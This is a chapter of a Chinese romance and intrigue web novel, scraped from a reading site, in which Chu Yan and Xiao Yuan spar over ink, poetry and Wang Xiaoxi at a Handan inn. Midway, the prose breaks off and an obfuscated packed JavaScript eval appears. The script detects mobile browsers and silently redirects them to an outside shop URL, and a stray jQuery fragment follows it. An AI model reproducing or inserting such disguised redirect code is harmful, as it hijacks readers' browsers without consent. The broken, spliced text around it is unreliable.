文趣网 > 其他小说 > 嫣之遗情录 > 38. 第38章
    赵国,邯郸。

    萧远一行人打算在此短暂落脚休整。

    作为赵都,邯郸向来规制森严,严禁车马肆意通行,所以左霖遵照萧远的吩咐,将随行马车妥当变卖,他们六人改为步行入城。

    脚下青石板路温润古朴,印着街巷的斑驳肌理,两侧皆是赵地特色的青砖黛瓦、飞檐木楹。街巷错落有致,处处藏着将相和、胡服骑射的典故余韵。

    沿街摊贩林立,各色吃食、手工器物琳琅满目,此起彼伏的吆喝声鲜活热闹,烟火气扑面而来。众人连日赶路的压抑疲惫,似乎被这鲜活热闹的市井景象冲淡了大半。

    沿途缓行,仔细甄别,萧远最终在繁华的昌平街寻得一处名曰神仙居的气派客栈。

    大堂里正收拾杂物的店小二眼尖得很,一眼便瞥见门外一行人身姿挺拔、气度不凡,绝非寻常游客。他立刻放下手中活计,快步迎上前,脸上堆着热忱活络的笑意,态度殷勤又得体,熟练地将众人迎入店内。

    入得大堂,楚嫣才见这是一间十分宽敞通透的客栈,陈设雅致,三两食客散坐席间,浅酌闲谈,姿态悠然闲适。堂前立柱悬着一副墨字对联,笔势洒脱,意蕴悠然:客上神仙居,神仙居上客。单看这对仗风骨与店内规制,便知是邯郸城内数一数二的上等客栈。

    萧远只是微微颔首,身后的左霖立即知晓他的心意,取了银票爽快付钱。

    六间天字上等客房,一人一间,清净雅致。

    饶是见过大场面的楚嫣也不由咋舌。毕竟知道萧远有钱是一回事,见到他这般铺张是另一回事。也罢,人家钱多爱显摆,她有什么好腹诽的?跟着享受不就是了?倒是身旁的绿萝神色紧绷,眉眼含怯,像只时时戒备的幼兽,也许她还不适应目前的陌生环境。

    “诸位客官好眼力!咱们神仙居乃是邯郸城内规格最高、占地最广的上等客栈,食宿皆是顶尖水准,只要住过一次,保准各位流连忘返!”店小二紧随其后,殷勤细致地介绍着店内优劣,言辞恳切。直到左霖随手打赏了一块碎银,他才喜笑颜开,躬身退了下去。

    暮色渐浓,华灯初上,夜色悄然笼罩整座邯郸城。

    左霖叩响楚嫣房门,传萧远之命,让她前去研墨伺候。

    楚嫣知道萧远心思深沉、偏爱试探,只怕此番传唤,多半是有意刁难试探。有了心理准备后,便是萧远开口说她研墨手法生疏、力道不均、章法杂乱,她的内心也毫无波澜,平静的像一潭死水。

    萧远抬手,从她手中接过墨条,袖摆轻垂,身姿端正,指尖力道沉稳,在砚台之中缓缓碾出规整圆润的墨圈,动作行云流水,极具章法。

    “研墨需按推有度,轻重有节,切忌心浮气躁、急于求成。力道过轻、速度过缓,则墨色浮浅,落笔无力;力道过重、速度过快,则墨质粗糙起沫,色泽暗沉无光,难成佳作。”他嗓音清冷平直,不夹杂多余情绪,字字皆是规整章法。

    “萧公子深谙文墨之道,当真博学多才。”楚嫣垂眸敛神,语气平淡无波,听似夸赞,却暗含讥讽。

    萧远知她并无半分钦佩,却不置可否,面色清冷难辨喜怒,淡淡开口:“研墨见心性。你动作迟缓,眼眸频转,看似稳妥谨慎,实则心思繁杂、藏念颇多。”

    “动作迟缓、心绪不定,不过是我一时走神思忖琐事,算不得城府心计。”楚嫣微微抬眸,眼底澄澈坦荡,不卑不亢地回怼,“再说萧公子这般苛求章法、事事求全,自诩完美无缺,可方才落笔之时,不慎将墨汁溅落在宣纸之上,一点墨痕突兀刺眼。难道萧公子只知严于律人?”

    萧远垂眸扫过宣纸上的细微墨点,神色未变,随意问道:“何事分心走神?”

    “私事,不便告知。萧公子只命我研墨,未曾明令禁止走神。既无规矩约束,我随心所思,萧公子何必多问苛责?”楚嫣语气淡然,分毫不让。

    萧远开口,语气莫测:“你这牙尖嘴利、反唇相讥的本事,倒是与我的一个旧识极为相似。”

    “阿楚荣幸之至。”楚嫣语气疏离,不接情面。

    短暂的沉默过后,萧远话锋一转,终是切入预设话题:“楚姑娘,你就不好奇,为何我今日唯独让你来磨墨?”

    “好奇。但萧公子若想借机打探魅影门之事,我劝你不必白费心思。我的答案始终只有四字——无可奉告。”楚嫣坦然颔首,语气干脆,带着清晰的戒备与疏离。

    萧远难得大笑起来,“我要知道魅影门作甚?如今我只关心明空那老秃驴的去向。”

    老秃驴?

    楚嫣挑眉,她已经从清牧那知道了萧远从青竹山带他去楚国的原委,虽然不够具体,但大致是知道的,只是她不明白,萧远这人为何如此割裂。

    一时情急,她竟直接喊了他的名字,“萧远,你这人当真奇怪。明明是你有求于清牧,为何此前一路上逼他吃酒喝肉,还为他安排女色?你真不怕他跑了?不对,你怕,你怕极了,所以你以我为质来要挟他。”言及此,楚嫣忍不住嗤笑出声,“嗤……这不是矛盾吗?你既然怕他跑了,又为什么惹他不快?明知他是出家人,逼他吃酒喝肉,给他安排女色?你疯了?”

    “你想说……吃肉喝酒?”

    “哎?”怎么?她说的有什么问题?

    萧远不置可否。

    气氛有些沉闷。

    楚嫣愈发不理解小王溪,就这样一个男人,她到底在乎些什么?

    片刻静默,再开口已是另一个话题。

    “会诗词歌赋吗?”萧远随性问着。

    楚嫣却只觉得他思维跳脱,行事毫无章法。无奈之下,稍作沉吟,抬手取过案上狼毫,笔尖轻蘸浓墨,落笔轻盈,在素白宣纸上写下几行清秀隽永的小字。

    明月夜,清风掠。

    公子独吟阙,转眼云遮月。

    不知谁家新嫁娘,妆色尽褪却。

    萧远垂眸凝视纸上词句,方才还略显阴冷深沉的眼底,此刻透出几分真切的讶异:“你作的?”

    “自然。”放下手中狼毫,楚嫣神色淡然的吐出两个字。

    “想不到你还有这般才学。”

    “女儿家闲来无事,赋诗填词消磨时光罢了,不值一提。”

    萧远的目光停留在纸上,待细细品读后,缓缓开口:“虽只寥寥几句,却暗含怅惘情思,绝非随口消遣之作,反倒像亲身经历、有感而发。”他眸光微深,淡淡试探,“是为相文谦吗?”

    楚嫣斜睨他一眼,心底戒备更甚,面上不动声色的道:“你对我的过往倒格外了解……或者说上心?”

    “谈不上了解或上心,纯粹好奇罢了。”萧远语气轻淡,听不出喜怒。

    屋内气氛愈发沉静,气压更滞。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17888998|212681||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    楚嫣耸了耸肩,主动转圜局面,“其实比起吟诗作词,阿楚更擅长作画,若萧公子不嫌阿楚才疏学浅,今日阿楚便画上一副如何?”

    萧远欣然应允。

    于是她依着往日惯用的法子,简易制作了一支炭笔,半写实半写意,静心勾勒。

    她知晓腿疾是萧远毕生心结,故而刻意避开轮椅桎梏,落笔绘出他盘膝端坐于梨花繁树下的清寂模样,画面清雅疏离,意境悠远。

    萧远垂眸端详画作良久,缓缓开口点评:“燕国极目崖的梨花,无这般温润繁盛的意境。此处景致不对,若是换作棠犁村外的日莫西河,风物适配,意境更胜一筹。”

    提及日莫西河,楚嫣心头微动,自然而然的想起了王小溪。她知道王小溪的心意,却猜不透萧远的心思。这些与她本不相干,她也不该过多追问别人的私隐,可王小溪对她有救命之恩,她实在想要帮她厘清他们之间的关系。

    正好此刻有了契机,她便顺势开口问上一问:“说起棠犁村、日莫西河这般旧地,你心中……就不曾想起什么人吗?”

    “哦?我该想起谁?”萧远反问,漫不经心。

    “王小溪。”没有迂回,楚嫣坦然吐出三字。

    话音落下,屋内静了一瞬。

    萧远神色依旧坦荡无澜,无半分动容,亦无半分错愕,语气平淡得近乎凉薄:“为何是她?”

    “不该是她吗?”楚嫣反问。

    “不该是她。”

    短短四字落地,再无后续。

    没有迟疑,没有补充,直白又利落,偏偏堵得人无从再接话。

    落花有意,流水无情。

    楚嫣咬牙,心里骂骂咧咧,只觉得同这人说话特别费劲!

    就在此时,萧远突然开口,只是容色变换,神秘莫测,“我与景楠八拜之交,情同手足,小溪是他嫡亲的妹子,自然也是我的妹子。我若心念于她,也只是兄长对幼妹的牵挂呵护,无关风月。”

    话音稍顿,他眸光微抬,淡淡戏谑:“倒是阿楚姑娘这般刻意追问、神色异样,莫非你对我……生出了别样心思?”

    夜郎自大!

    楚嫣心中嗤笑,面上却摆出一副沉静如水的样子,唯有一双凤眸微动,隐约间透露出几分不耐。

    她虽不与他争辩,却也不曾冷场,只是换了个话题,坦然说道:“萧公子,我打算明日和清牧、绿萝上街走走,你若对我们的行踪心存顾虑,大可随行监督。”

    萧远敛容,指尖屈起,轻轻叩了叩桌面,沉吟片刻后缓缓应允:“明日恰逢赵国公主生辰,全城欢庆,街巷必定热闹非凡,你们想去凑凑热闹也无妨。”

    赵国公主生辰?这么巧?楚嫣微怔。

    萧远抬眸,语气中带着不容置喙的拿捏与警告:“我允你们三人出门,自然不会干预你们做了什么,也不会令郎凡、左霖暗中跟随。但你需谨记,遗情散的解药,唯我独有。”

    眼见楚嫣听完这番话后微蹙眉头,面露忌惮,萧远心底掠过一丝浅淡快意,于是随口嘱咐:“还有,早些回来。”

    “好。”楚嫣应声干脆,不拖泥带水,“一言为定!”

    华灯初上,倦鸟归岫。

    晚风穿窗而过,拂去屋内些许墨香,那悄悄捎来的街巷人声,仿佛正在为这座即将彻夜欢庆的邯郸城暗中预热。